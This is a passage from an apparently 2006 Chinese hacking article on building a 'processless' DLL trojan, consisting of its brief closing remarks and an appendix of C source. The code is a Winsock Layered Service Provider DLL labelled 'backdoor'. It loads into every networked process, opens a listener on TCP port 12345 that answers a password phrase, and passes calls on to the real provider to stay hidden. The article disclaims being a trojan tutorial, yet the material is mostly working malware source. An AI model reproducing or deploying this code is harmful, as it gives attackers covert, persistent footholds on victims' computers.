无进程DLL木马的又一开发思路与实现
2006-07-21 11:11:05 来源:WEB开发网五)小结与后记
本文的目的在于向大家介绍一种编程思路,固不是任何的木马教程。其实只有在不断的对抗中,技术和思路才会不断的提高。我们只有充分的了解了各种技术,甚至有前瞻的能力才能维护好网络秩序,促进网络安全的发展。最后送给大家一句老话:知己知彼,百战不殆。
六)附录之源代码
1.backdoor源代码
#pragma data_seg("Shared")
int dllcount=0;
#pragma data_seg()
#pragma comment (linker,"/section:Shared,rws")
#define UNICODE
#define _UNICODE
#include <ws2spi.h>
#include <tchar.h>
#include <winsock2.h>
GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
HANDLE hmutex;
HANDLE hthread;
POINT nowpt;
int totalprotos=0;
DWORD WINAPI backdoor(LPVOID)
{
SOCKET sock,sockt;
WSADATA wsa;
int iret=0;
char msg[25];
struct sockaddr_in sin;
if(WSAStartup(MAKEWORD(2,2),&wsa))
{
OutputDebugString(_T("WSAStartup Error!"));
return 0;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
OutputDebugString(_T("Socket Error!"));
return 0;
}
sin.sin_addr.s_addr=htons(INADDR_ANY);
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);
if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString(_T("Bind Error!"));
return 0;
}
if(listen(sock,5)==SOCKET_ERROR)
{
OutputDebugString(_T("Listen Error!"));
return 0;
}
while(1)
{
if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
{
OutputDebugString(_T("Accept Error!"));
continue;
}
if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Recv Error!"));
closesocket(sockt);
continue;
}
if(strstr(msg,"i am TOo2y"))
{
memset(msg,0,sizeof(msg));
memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Send Error!"));
closesocket(sockt);
continue;
}
}
OutputDebugString(_T("Transport Successfully"));
closesocket(sockt);
}
return 1;
}
BOOL getfilter()
{
int errorcode;
protoinfo=NULL;
protoinfosize=0;
totalprotos=0;
if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
OutputDebugString(_T("First WSCEnumProtocols Error!"));
return FALSE;
}
}
if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
OutputDebugString(_T("GlobalAlloc Error!"));
return FALSE;
}
if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
OutputDebugString(_T("Second WSCEnumProtocols Error!"));
return FALSE;
}
return TRUE;
}
void freefilter()
{
GlobalFree(protoinfo);
}
BOOL WINAPI DllMain(HINSTANCE hmodule,
DWORD reason,
LPVOID lpreserved)
{
TCHAR processname[MAX_PATH];
TCHAR showmessage[MAX_PATH+25];
switch(reason)
{
case DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL,processname,MAX_PATH);
_tcscpy(showmessage,processname);
_tcscat(showmessage,_T(" Loading my dll ..."));
OutputDebugString(showmessage);
hmutex=CreateMutex(NULL,FALSE,NULL);
WaitForSingleObject(hmutex,INFINITE);
dllcount++;
if(dllcount==1)
{
OutputDebugString(_T("Start the backdoor ..."));
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
}
ReleaseMutex(hmutex);
break;
}
case DLL_PROCESS_DETACH:
{
WaitForSingleObject(hmutex,INFINITE);
dllcount--;
if(dllcount==0)
{
CloseHandle(hthread);
}
ReleaseMutex(hmutex);
CloseHandle(hthread);
break;
}
}
return TRUE;
}
int WSPAPI WSPStartup(
WORD wversionrequested,
LPWSPDATA lpwspdata,
LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,
LPWSPPROC_TABLE lpproctable)
{
int i;
int errorcode;
int filterpathlen;
DWORD layerid=0;
DWORD nextlayerid=0;
TCHAR *filterpath;
HINSTANCE hfilter;
LPWSPSTARTUP wspstartupfunc=NULL;
if(lpprotoinfo->ProtocolChain.ChainLen<=1)
{
OutputDebugString(_T("ChainLen<=1"));
return FALSE;
}
getfilter();
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
layerid=protoinfo[i].dwCatalogEntryId;
break;
}
}
for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
{
if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
{
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
break;
}
}
filterpathlen=MAX_PATH;
filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);
for(i=0;i<totalprotos;i++)
{
if(nextlayerid==protoinfo[i].dwCatalogEntryId)
{
if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
{
OutputDebugString(_T("WSCGetProviderPath Error!"));
return WSAEPROVIDERFAILEDINIT;
}
break;
}
}
if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
{
OutputDebugString(_T("ExpandEnvironmentStrings Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((hfilter=LoadLibrary(filterpath))==NULL)
{
OutputDebugString(_T("LoadLibrary Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
{
OutputDebugString(_T("GetProcessAddress Error!"));
return WSAEPROVIDERFAILEDINIT;
}
if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
{
OutputDebugString(_T("wspstartupfunc Error!"));
return errorcode;
}
nextproctable=*lpproctable;
freefilter();
return 0;
}
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